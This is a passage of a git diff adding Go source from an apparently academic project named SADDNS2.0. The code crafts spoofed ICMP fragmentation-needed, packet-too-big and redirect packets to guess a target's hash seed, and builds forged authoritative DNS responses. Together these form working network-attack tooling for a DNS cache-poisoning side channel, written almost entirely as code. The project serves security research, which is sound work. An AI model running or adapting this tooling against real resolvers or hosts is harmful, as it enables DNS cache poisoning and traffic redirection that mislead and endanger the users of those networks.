// analyze + notFragedIPs := make([]string, 0) + for ip, nofrag := range ipNoFragMap { + if nofrag { + notFragedIPs = append(notFragedIPs, ip) + } + } + sort.Slice(notFragedIPs, func(i, j int) bool { + return CompareIPAddr(net.ParseIP(notFragedIPs[i]), net.ParseIP(notFragedIPs[j]), 0) > 0 + }) + fmt.Println(notFragedIPs) + + //time.Sleep(time.Second) + //IncreaseIPv6Addr(sendingIP, 1, 0) + //XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + + // reset finish status + for i := 0; i < 12; i++ { + C.finished[i] = 0 + } + + // output data + file, err := os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666) + if err != nil { + fmt.Println(err) + } + + // update testedIP in C + C.testedIPCount = C.int(checkPoint) + fmt.Fprint(file, checkPoint, " ") + testedIP := make(map[string]int) + copy(sendingIP, localIPv6Subnet.IP) + for i := 0; i < checkPoint; i++ { + for j := 0; j < 16; j++ { + C.testedIP[i][j] = C.uchar(sendingIP[j]) + fmt.Fprintf(file, "%x ", sendingIP[j]) + } + testedIP[sendingIP.String()] = i + IncreaseIPv6Addr(sendingIP, increaseGaps[i], 0) + } + + // update removedIPNum in C + ipNoFragMap = make(map[string]bool) + if len(notFragedIPs) > 20 { + fmt.Println("too many colliding IPs") + } else { + C.removedIPCount = C.int(len(notFragedIPs)) + fmt.Fprint(file, len(notFragedIPs), " ") + for j, ip := range notFragedIPs { + num, ok := testedIP[ip] + if !ok { + fmt.Println("BUG, ip", ip, "does not exist among probing IPs!") + os.Exit(-1) + } + C.removedIPNum[j] = C.uint(num) + fmt.Fprint(file, num, " ") + } + C.resultCount = C.int(len(notFragedIPs)) + + //for i := 0; i < 12; i++ { + // go C.guess_seed3(C.int(i)) + //} + // + //for i := 0; i < 12; i++ { + // //if C.finished[i] == 0 { + // time.Sleep(time.Second) + // i = 0 + // //} + //} + // + //var i C.int = 0 + //for i = 0; i < C.resultCount; i++ { + // fmt.Println("seed:", C.results[i]) + //} + } + file.Close() +} + +func readPublicIPs() map[string]net.IP { + publicIPMap := make(map[string]net.IP) + file, err := os.OpenFile("guessSeed-publicinput.txt", os.O_RDONLY, 666) + if err != nil { + fmt.Println(err) + os.Exit(-1) + } + var tmp string + for { + // public IP + _, err := fmt.Fscanln(file, &tmp) + if err != nil { + fmt.Println(err) + break + } + publicIP := net.ParseIP(tmp) + if err != nil { + fmt.Println(err) + os.Exit(-2) + } + + // private ip + _, err = fmt.Fscanln(file, &tmp) + if err != nil { + fmt.Println(err) + os.Exit(-3) + } + publicIPMap[tmp] = publicIP + } + return publicIPMap +} + +func readMacs() ([]net.HardwareAddr, map[string]net.IP) { + macs := make([]net.HardwareAddr, 0) + file, err := os.OpenFile("guessSeed-macinput.txt", os.O_RDONLY, 666) + if err != nil { + fmt.Println(err) + os.Exit(-1) + } + var tmp string + for { + // mac + _, err := fmt.Fscanln(file, &tmp) + if err != nil { + fmt.Println(err) + break + } + hw, err := net.ParseMAC(tmp) + if err != nil { + fmt.Println(err) + os.Exit(-2) + } + macs = append(macs, hw) + // ip + _, err = fmt.Fscanln(file, &tmp) + if err != nil { + fmt.Println(err) + os.Exit(-3) + } + macIPMap[hw.String()] = net.ParseIP(tmp) + } + return macs, macIPMap +} + +func guessSeed_macver_analyze(checkPoint int) { + // assume handle is in pcap reading mode and the seed guess mode is properly set + // pcap analysis should been done now + for { + time.Sleep(time.Second) + if len(pcapChannel) > 0 { + time.Sleep(time.Second) + } else { + break + } + } + v6 := CheckIPv6(localIP) + macs, _ := readMacs() + publicIpMap := readPublicIPs() + // analyze + notFragedIPs := make([]string, 0) + for ip, nofrag := range ipNoFragMap { + if nofrag { + notFragedIPs = append(notFragedIPs, ip) + } + } + fmt.Println("Not responding IPs:") + for privateIP, publicIP := range publicIpMap { + _, ok := ipNoFragMap[privateIP] + if !ok { + fmt.Print("[", privateIP, ",", publicIP, "]") + } + } + fmt.Println() + sort.Slice(notFragedIPs, func(i, j int) bool { + return CompareIPAddr(net.ParseIP(notFragedIPs[i]), net.ParseIP(notFragedIPs[j]), 0) > 0 + }) + fmt.Println(notFragedIPs) + for _, ip := range notFragedIPs { + fmt.Print(publicIpMap[ip], ",") + } + + // output data + file, err := os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666) + if err != nil { + fmt.Println(err) + } + + // update testedIP in C + fmt.Fprint(file, checkPoint, " ") + testedIP := make(map[string]int) + for i := 0; i < checkPoint; i++ { + if v6 { + for j := 0; j < 16; j++ { + fmt.Fprintf(file, "%x ", publicIpMap[macIPMap[macs[i].String()].String()].To16()[j]) + } + } else { + for j := 0; j < 4; j++ { + fmt.Fprintf(file, "%x ", publicIpMap[macIPMap[macs[i].String()].String()].To4()[j]) + } + } + testedIP[macIPMap[macs[i].String()].String()] = i + } + + // update removedIPNum in C + ipNoFragMap = make(map[string]bool) + if len(notFragedIPs) > 20 { + fmt.Println("too many colliding IPs") + } else { + fmt.Fprint(file, len(notFragedIPs), " ") + for _, ip := range notFragedIPs { + num, ok := testedIP[ip] + if !ok { + fmt.Println("BUG, ip", ip, "does not exist among probing IPs!") + os.Exit(-1) + } + fmt.Fprint(file, num, " ") + } + + } + file.Close() + +} + + +func guessSeed_macver2(checkPoint int, dstIP net.IP, delay uint, garbage []byte) { + v6 := CheckIPv6(localIP) + macs, _ := readMacs() + ipLayer := GetIPLayer(localIP, dstIP, false, 0, layers.IPProtocolICMPv6) + // Garbage needs to be initialized + for i := 0; i < checkPoint; i++ { + eth.DstMAC = macs[i] + echoLayer0, echoLayer1 := GetICMPPingLayer(uint16(i), uint16(i), v6) + XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay) + } +} + +func guessSeed_macVer1(checkPoint int, dstIP net.IP, delay uint, mtu uint16) { + v6 := CheckIPv6(localIP) + ipLayer := GetIPLayer(localIP, dstIP, false, 0, layers.IPProtocolICMPv6) + fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6) + innerIPLayer := GetIPLayer(localIP, dstIP, true, 0, layers.IPProtocolICMPv6) + echoReplyLayer0, echoReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6) + + macs, _ := readMacs() + for i := 0; i < checkPoint; i++ { + eth.DstMAC = macs[i] + innerIPLayer = GetIPLayer(macIPMap[eth.DstMAC.String()], dstIP, true, 0, layers.IPProtocolICMPv6) + XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + //fmt.Println(eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1) + } +} + +func guessSeed_macver(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) { + // read eth macs + guessSeedMacMode = true + macs := make([]net.HardwareAddr, 0) + + /*aa:bb:cc:dd:ee:ff + 10.0.0.1*/ + file, err := os.OpenFile("guessSeed-macinput.txt", os.O_RDONLY, 666) + if err != nil { + fmt.Println(err) + os.Exit(-1) + } + macs, _ = readMacs() + + var sendingIP net.IP + sendingIP = localIP + v6 := CheckIPv6(sendingIP) + if !v6 { + sendingIP = sendingIP.To4() + } + + ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6) + fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6) + innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6) + echoReplyLayer0, echoReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6) + + guessSeedMode = true + + for i := 0; i < checkPoint; i++ { + eth.DstMAC = macs[i] + innerIPLayer = GetIPLayer(macIPMap[eth.DstMAC.String()], dstIP, true, 0, layers.IPProtocolICMPv6) + XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + //fmt.Println(eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1) + } + time.Sleep(time.Duration(waitTime) * time.Millisecond) + // check + echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6) + // Garbage needs to be initialized + for i := 0; i < checkPoint; i++ { + eth.DstMAC = macs[i] + XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay) + } + time.Sleep(time.Second) + guessSeedMode = false + + // analyze + notFragedIPs := make([]string, 0) + for ip, nofrag := range ipNoFragMap { + if nofrag { + notFragedIPs = append(notFragedIPs, ip) + } + } + sort.Slice(notFragedIPs, func(i, j int) bool { + return CompareIPAddr(net.ParseIP(notFragedIPs[i]), net.ParseIP(notFragedIPs[j]), 0) > 0 + }) + fmt.Println(notFragedIPs) + + //time.Sleep(time.Second) + //IncreaseIPv6Addr(sendingIP, 1, 0) + //XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + + // reset finish status + for i := 0; i < 12; i++ { + C.finished[i] = 0 + } + + // output data + file, err = os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666) + if err != nil { + fmt.Println(err) + } + + file.Close() +} + +/* Used for IPv6 seed guessing or a host with multiple IPv4 addresses. + checkPoint: the number of IPs used to probe + mtu: mtu value in the frag needed packet + waitTime: packet sending gap*/ +func guessSeed(checkPoint int, dstIP net.IP, delay uint, mtu uint16, garbage []byte, waitTime uint) { + var sendingIP net.IP + sendingIP = make([]byte, 16) + v6 := CheckIPv6(localIPv6Subnet.IP) + if !v6 { + sendingIP = make([]byte, 4) + } + copy(sendingIP, localIPv6Subnet.IP) + + ipLayer := GetIPLayer(sendingIP, dstIP, false, 0, layers.IPProtocolICMPv6) + fnLayer0, fnLayer1 := GetICMPPkt2BigLayer(mtu, v6) + innerIPLayer := GetIPLayer(sendingIP, dstIP, true, 0, layers.IPProtocolICMPv6) + echoReplyLayer0, echoReplyLayer1 := GetICMPPingReplyLayer(0, 0, v6) + + guessSeedMode = true + rand.Seed(time.Now().Unix()) + increaseGaps := make([]uint32, 0) + /*TODO: BUG, ipv6 only due to IncreaseIPv6Addr()*/ + + //for i := 0; i < checkPoint; i++ { + // increaseGaps = append(increaseGaps, 1) + // XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + // IncreaseIPv6Addr(sendingIP, increaseGaps[i], 0) + //} + + for i := 0; i < checkPoint; i++ { + increaseGaps = append(increaseGaps, 1) + XmitICMP(h, eth, ipLayer, fnLayer0, fnLayer1, innerIPLayer, echoReplyLayer0, echoReplyLayer1, nil, delay) + IncreaseIPAddr(sendingIP, increaseGaps[i]) + } + time.Sleep(time.Duration(waitTime) * time.Millisecond) + // check + copy(sendingIP, localIPv6Subnet.IP) + echoLayer0, echoLayer1 := GetICMPPingLayer(0, 0, v6) + // Garbage needs to be initialized + for i := 0; i < checkPoint; i++ { + XmitICMP(h, eth, ipLayer, echoLayer0, echoLayer1, nil, nil, nil, garbage, delay) + IncreaseIPAddr(sendingIP, increaseGaps[i]) + } + time.Sleep(time.Second) + guessSeedMode = false + + + + // output data + file, err := os.OpenFile("guessSeed-output.txt", os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 666) + if err != nil { + fmt.Println(err) + } + + file.Close() +} diff --git a/src/ucr.edu/SADDNS2.0/Library.go b/src/ucr.edu/SADDNS2.0/Library.go new file mode 100644 index 0000000..cec6522 --- /dev/null +++ b/src/ucr.edu/SADDNS2.0/Library.go @@ -0,0 +1,790 @@ +package main + +import ( + "encoding/binary" + "errors" + "fmt" + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" + "net" + "runtime/debug" + "time" +) + +func Send(handle *pcap.Handle, l ...gopacket.SerializableLayer) error { + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + buffer := gopacket.NewSerializeBuffer() + newLayers := make([]gopacket.SerializableLayer, 0) + for _, layers := range l { + if layers != nil { + newLayers = append(newLayers, layers) + } + } + if err := gopacket.SerializeLayers(buffer, opts, newLayers...); err != nil { + return err + } + return handle.WritePacketData(buffer.Bytes()) +} + +func getData(l ...gopacket.SerializableLayer) ([]byte, error) { + opts := gopacket.SerializeOptions{ + FixLengths: true, + ComputeChecksums: true, + } + buffer := gopacket.NewSerializeBuffer() + newLayers := make([]gopacket.SerializableLayer, 0) + for _, layers := range l { + if layers != nil { + newLayers = append(newLayers, layers) + } + } + if err := gopacket.SerializeLayers(buffer, opts, newLayers...); err != nil { + return nil, err + } + return buffer.Bytes(), nil +} + +func GetIfaceAddrMulti(iface *net.Interface) ([]net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP []net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To4() != nil { + //check repeat + okToAdd := true + for _, temp := range srcIP { + if CompareIPAddr(temp, ipnet.IP.To4(), 0) == 0 { + okToAdd = false + break + } + } + if okToAdd { + srcIP = append(srcIP, ipnet.IP.To4()) + } + } + } + } + + if srcIP == nil || len(srcIP) == 0 { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func GetIfaceAddr(iface *net.Interface) (net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To4() != nil { + srcIP = ipnet.IP.To4() + break + } + } + } + + if srcIP == nil { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func GetIfaceAddr6(iface *net.Interface) (net.IP, error) { + addrs, err := iface.Addrs() + if err != nil { + return nil, errors.New("can not get ip address") + } + + var srcIP net.IP + for _, address := range addrs { + if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { + if ipnet.IP.To4() == nil { + srcIP = ipnet.IP + break + } + } + } + + if srcIP == nil { + return nil, errors.New("can not get ip address") + } + + return srcIP, nil +} + +func GetGatewayAddr(iface *net.Interface, handle *pcap.Handle, gatewayIP net.IP) (net.HardwareAddr, error) { + srcIP, err := GetIfaceAddr(iface) + if err != nil { + return nil, errors.New("can not get ip address") + } + + start := time.Now() + // Prepare the layers to send for an ARP request. + eth := layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, + EthernetType: layers.EthernetTypeARP, + } + arp := layers.ARP{ + AddrType: layers.LinkTypeEthernet, + Protocol: layers.EthernetTypeIPv4, + HwAddressSize: 6, + ProtAddressSize: 4, + Operation: layers.ARPRequest, + SourceHwAddress: []byte(iface.HardwareAddr), + SourceProtAddress: []byte(srcIP), + DstHwAddress: []byte{0, 0, 0, 0, 0, 0}, + DstProtAddress: []byte(gatewayIP), + } + // Send a single ARP request packet (we never retry a send, since this + // is just an example ;) + if err := Send(handle, ð, &arp); err != nil { + return nil, err + } + // Wait 3 seconds for an ARP reply. + for { + if time.Since(start) > time.Second*3 { + return nil, errors.New("timeout getting ARP reply") + } + data, _, err := handle.ReadPacketData() + if err == pcap.NextErrorTimeoutExpired { + continue + } else if err != nil { + return nil, err + } + packet := gopacket.NewPacket(data, layers.LayerTypeEthernet, gopacket.NoCopy) + if arpLayer := packet.Layer(layers.LayerTypeARP); arpLayer != nil { + arp := arpLayer.(*layers.ARP) + //Logger().Debugw("arp", "ip", gatewayIP) + if net.IP(arp.SourceProtAddress).Equal(net.IP(gatewayIP)) { + return net.HardwareAddr(arp.SourceHwAddress), nil + } + } + } +} + +func IncreaseIPAddr(ip net.IP, delta uint32) { + if CheckIPv6(ip) { + IncreaseIPv6Addr(ip, delta, 0) + } else { + IncreaseIPv4Addr(ip, delta) + } +} + +//i should be 0 when init +//bug: 0xffff->0x0000 +func IncreaseIPv6Addr(ip net.IP, delta uint32, i uint) { + temp := binary.BigEndian.Uint32(ip[12-i*4 : 16-i*4]) + newtemp := temp + delta + binary.BigEndian.PutUint32(ip[12-i*4:16-i*4], newtemp) + if newtemp <= temp && delta != 0 { + IncreaseIPv6Addr(ip, 1, i+1) + } +} + +//bug: 0xffff->0x0000 +func IncreaseIPv4Addr(ip net.IP, delta uint32) { + temp := binary.BigEndian.Uint32(ip.To4()) + newtemp := temp + delta + binary.BigEndian.PutUint32(ip, newtemp) +} + +func GetIPLayer(srcIP net.IP, dstIP net.IP, swap bool, fl uint32, nextHeader layers.IPProtocol) gopacket.SerializableLayer { + return GetIPLayerWithTTL(srcIP, dstIP, swap, fl, nextHeader, 100) +} + +func GetIPLayerWithTTL(srcIP net.IP, dstIP net.IP, swap bool, fl uint32, nextHeader layers.IPProtocol, ttl int) gopacket.SerializableLayer { + if CheckIPv6(dstIP) { + if swap { + tmp := dstIP + dstIP = srcIP + srcIP = tmp + } + if nextHeader == layers.IPProtocolICMPv4 { + nextHeader = layers.IPProtocolICMPv6 + } + return &layers.IPv6{ + Version: 6, + FlowLabel: fl, + HopLimit: uint8(ttl), + SrcIP: srcIP, + DstIP: dstIP, + NextHeader: nextHeader, + } + } else { + if swap { + tmp := dstIP + dstIP = srcIP + srcIP = tmp + } + if nextHeader == layers.IPProtocolICMPv6 { + nextHeader = layers.IPProtocolICMPv4 + } + return &layers.IPv4{ + Version: 4, + Id: uint16(fl), + TTL: uint8(ttl), + Protocol: nextHeader, + SrcIP: srcIP, + DstIP: dstIP, + } + } +} + +func GetUDPLayer(srcPort layers.UDPPort, dstPort layers.UDPPort) layers.UDP { + return layers.UDP{ + SrcPort: srcPort, + DstPort: dstPort, + } +} + +func GetICMPTimeExceededLayer(v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) { + if v6 { + return &layers.ICMPv6{ + TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeTimeExceeded, layers.ICMPv6CodeHopLimitExceeded), + }, nil + } else { + return &layers.ICMPv4{ + TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeTimeExceeded, layers.ICMPv4CodeTTLExceeded), + }, nil + } +} + +func GetICMPPkt2BigLayer(pmtu uint16, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) { + if v6 { + return &layers.ICMPv6{ + TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypePacketTooBig, 0), + }, &layers.ICMPv6Echo{ + Identifier: 0, + SeqNumber: pmtu, + } + } else { + return &layers.ICMPv4{ + TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeDestinationUnreachable, layers.ICMPv4CodeFragmentationNeeded), + Seq: pmtu, + }, nil + } +} + +func GetICMPPingLayer(identifier uint16, seqNumber uint16, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) { + if v6 { + return &layers.ICMPv6{ + TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeEchoRequest, 0), + }, &layers.ICMPv6Echo{ + Identifier: identifier, + SeqNumber: seqNumber, + } + } else { + return &layers.ICMPv4{ + TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeEchoRequest, 0), + Id: identifier, + Seq: seqNumber, + }, nil + } +} + +func GetICMPPingReplyLayer(identifier uint16, seqNumber uint16, v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) { + if v6 { + return &layers.ICMPv6{ + TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeEchoReply, 0), + }, &layers.ICMPv6Echo{ + Identifier: identifier, + SeqNumber: seqNumber, + } + } else { + return &layers.ICMPv4{ + TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeEchoReply, 0), + Id: identifier, + Seq: seqNumber, + }, nil + } +} + +func GetICMPUnreachableLayer(v6 bool) (gopacket.SerializableLayer, gopacket.SerializableLayer) { + if v6 { + return &layers.ICMPv6{ + TypeCode: layers.CreateICMPv6TypeCode(layers.ICMPv6TypeDestinationUnreachable, layers.ICMPv6CodePortUnreachable), + }, &layers.ICMPv6Echo{ + Identifier: 0, + SeqNumber: 0, + } + } else { + return &layers.ICMPv4{ + TypeCode: layers.CreateICMPv4TypeCode(layers.ICMPv4TypeDestinationUnreachable, layers.ICMPv4CodePort), + }, nil + } +} + +func XmitUDP(h *pcap.Handle, ethernet *layers.Ethernet, ipLayer gopacket.SerializableLayer, UDPLayer *layers.UDP, data gopacket.SerializableLayer, delay uint) { + ipLayer6, ok := ipLayer.(*layers.IPv6) + if ok { + err := UDPLayer.SetNetworkLayerForChecksum(ipLayer6) + if err != nil { + fmt.Println("xmitUDP6:", err) + debug.PrintStack() + } + err = Send(h, ethernet, ipLayer, UDPLayer, data) + if err != nil { + fmt.Println("xmitUDP6:", err) + debug.PrintStack() + } + + } else { + err := UDPLayer.SetNetworkLayerForChecksum(ipLayer.(*layers.IPv4)) + if err != nil { + fmt.Println("xmitUDP4:", err) + debug.PrintStack() + } + err = Send(h, ethernet, ipLayer, UDPLayer, data) + if err != nil { + fmt.Println("xmitUDP4:", err) + debug.PrintStack() + } + } + if delay != 0 { + time.Sleep(time.Duration(delay) * time.Nanosecond) + } +} + +func XmitICMP(h *pcap.Handle, ethernet *layers.Ethernet, outIPLayer gopacket.SerializableLayer, ICMPLayer0 gopacket.SerializableLayer, ICMPLayer1 gopacket.SerializableLayer, innerIPLayer gopacket.SerializableLayer, innerLayer0 gopacket.SerializableLayer, innerLayer1 gopacket.SerializableLayer, data []byte, delay uint) { + outIPLayer6, ok := outIPLayer.(*layers.IPv6) + if ok { + err := ICMPLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(outIPLayer6) + if err != nil { + fmt.Println("xmitICMPv6:", err) + debug.PrintStack() + return + } + if innerIPLayer != nil && innerLayer0 != nil { + if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolUDP { + err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6)) + } else if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolICMPv6 { + err = innerLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6)) + } + if err != nil { + fmt.Println("xmitICMPv6:", err) + debug.PrintStack() + return + } + err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv6:", err) + debug.PrintStack() + return + } + } else { + err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv6:", err) + debug.PrintStack() + return + } + } + } else { + var err error = nil + if innerIPLayer != nil && innerLayer0 != nil { + if innerIPLayer.(*layers.IPv4).Protocol == layers.IPProtocolUDP { + err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv4)) + } + if err != nil { + fmt.Println("xmitICMPv41:", err) + debug.PrintStack() + return + } + err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv42:", err) + debug.PrintStack() + return + } + } else { + err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv43:", err) + debug.PrintStack() + return + } + } + } + if delay != 0 { + time.Sleep(time.Duration(delay) * time.Microsecond) + } +} + +/* TODO: buggy, len of the outer IPv6 header is incorrect. */ +func XmitICMP_redirect(h *pcap.Handle, ethernet *layers.Ethernet, outIPLayer gopacket.SerializableLayer, ICMPLayer0 gopacket.SerializableLayer, ICMPLayer1 gopacket.SerializableLayer, innerIPLayer gopacket.SerializableLayer, innerLayer0 gopacket.SerializableLayer, innerLayer1 gopacket.SerializableLayer, data []byte, delay uint) { + outIPLayer6, ok := outIPLayer.(*layers.IPv6) + if ok { + err := ICMPLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(outIPLayer6) + if err != nil { + fmt.Println("xmitICMPv6:", err) + return + } + var innerData []byte + if innerIPLayer != nil && innerLayer0 != nil { + if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolUDP { + err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6)) + } else if innerIPLayer.(*layers.IPv6).NextHeader == layers.IPProtocolICMPv6 { + err = innerLayer0.(*layers.ICMPv6).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6)) + } + if err != nil { + fmt.Println("xmitICMPv6:", err) + return + } + innerData, err = getData(innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv6:", err) + return + } + } else { + innerData, err = getData(gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv6:", err) + return + } + } + writeInnerData := true + if ICMPLayer0.(*layers.ICMPv6).TypeCode.Type() == layers.ICMPv6TypeRedirect { + // fix data len and reserved area + rem := len(innerData) % 8 + for i := 0; i < rem; i++ { + innerData = append(innerData, 0) + } + tmpLen := []byte{0, 0, 0, 0, 0, 0} + innerData = append(tmpLen, innerData...) + ICMPLayer1.(*layers.ICMPv6Redirect).Options[0].Data = innerData + writeInnerData = false + } + outerData, err := getData(ethernet, outIPLayer, ICMPLayer0, ICMPLayer1) + if err != nil { + fmt.Println("xmitICMPv6:", err) + return + } + if writeInnerData { + err = h.WritePacketData(append(outerData, innerData...)) + } else { + err = h.WritePacketData(outerData) + } + if err != nil { + fmt.Println("xmitICMPv6:", err) + return + } + } else { + var err error = nil + if innerIPLayer != nil && innerLayer0 != nil { + if innerIPLayer.(*layers.IPv4).Protocol == layers.IPProtocolUDP { + err = innerLayer0.(*layers.UDP).SetNetworkLayerForChecksum(innerIPLayer.(*layers.IPv6)) + } + if err != nil { + fmt.Println("xmitICMPv4:", err) + return + } + err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, innerIPLayer, innerLayer0, innerLayer1, gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv4:", err) + return + } + } else { + err = Send(h, ethernet, outIPLayer, ICMPLayer0, ICMPLayer1, gopacket.Payload(data)) + if err != nil { + fmt.Println("xmitICMPv4:", err) + return + } + } + } + if delay != 0 { + time.Sleep(time.Duration(delay) * time.Microsecond) + } +} + +func GetDNSQuery(txid uint16, name string) layers.DNS { + return layers.DNS{ + ID: txid, + QR: false, + OpCode: 0, + AA: false, + TC: false, + RD: true, + RA: false, + Z: 0, + ResponseCode: 0, + QDCount: 1, + ANCount: 0, + NSCount: 0, + ARCount: 0, + Questions: []layers.DNSQuestion{{ + Name: []byte(name), + Type: layers.DNSTypeA, + Class: layers.DNSClassIN, + }}, + Authorities: nil, + Additionals: nil, + } +} + +func GetDNSResponse(txid uint16, tc bool, questions []layers.DNSQuestion, answers []layers.DNSResourceRecord) layers.DNS { + return layers.DNS{ + ID: txid, + QR: true, + OpCode: 0, + AA: true, + TC: tc, + RA: false, + Z: 0, + ResponseCode: 0, + QDCount: 1, + ANCount: 0, + NSCount: 0, + ARCount: 0, + Questions: questions, + Answers: answers, + Authorities: nil, + Additionals: nil, + } +} + +func CheckIPv6(ip net.IP) bool { + if ip.To4() == nil { + return true + } else { + ip = ip.To4() + return false + } +} + +//i should be 0 when init +func CompareIPAddr(ip0 net.IP, ip1 net.IP, i uint) int { + if ip0 == nil || ip1 == nil { + return -2 + } + if CheckIPv6(ip0) && CheckIPv6(ip1) { + temp0 := binary.LittleEndian.Uint32(ip0[i*4 : (i+1)*4]) + temp1 := binary.LittleEndian.Uint32(ip1[i*4 : (i+1)*4]) + if temp0 == temp1 { + if i != 3 { + return CompareIPAddr(ip0, ip1, i+1) + } + return 0 + } + if temp0 > temp1 { + return 1 + } + return -1 + } else if !CheckIPv6(ip0) && !CheckIPv6(ip1) { + temp0 := binary.LittleEndian.Uint32(ip0.To4()) + temp1 := binary.LittleEndian.Uint32(ip1.To4()) + if temp0 == temp1 { + return 0 + } + if temp0 > temp1 { + return 1 + } + return -1 + } + return -2 +} + +func ExtractTCPPacket(packet *gopacket.Packet) uint16 { + if rspTCPLayer := (*packet).Layer(layers.LayerTypeTCP); rspTCPLayer != nil { + if rspTCP := rspTCPLayer.(*layers.TCP); rspTCP != nil { + if rspTCP.SYN { + if rspTCP.Options != nil && len(rspTCP.Options) > 0 { + for _, option := range rspTCP.Options { + if option.OptionType == layers.TCPOptionKindMSS { + var retval uint16 + retval |= uint16(option.OptionData[0]) << 8 + retval |= uint16(option.OptionData[1]) + return retval + } + } + } + } + } + } + return 0xffff +} + +func ExtractFragment(packet *gopacket.Packet) (uint16, uint16, bool, layers.IPProtocol, []byte) { + if rspIPLayer := (*packet).Layer(layers.LayerTypeIPv4); rspIPLayer != nil { + if rspIP := rspIPLayer.(*layers.IPv4); rspIP != nil { + return rspIP.Id, rspIP.FragOffset, rspIP.Flags&layers.IPv4MoreFragments != 0, rspIP.Protocol, rspIP.Payload + } + } else if rspFragLayer := (*packet).Layer(layers.LayerTypeIPv6Fragment); rspFragLayer != nil { + if rspFrag := rspFragLayer.(*layers.IPv6Fragment); rspFrag != nil { + return uint16(rspFrag.Identification), rspFrag.FragmentOffset, rspFrag.MoreFragments, rspFrag.NextHeader, rspFrag.Payload + } + } + return 0xffff, 0xffff, false, 0xff, nil +} + +func ExtractIPPacket(packet *gopacket.Packet) (net.IP, net.IP, uint16, uint16, layers.IPProtocol) { + if 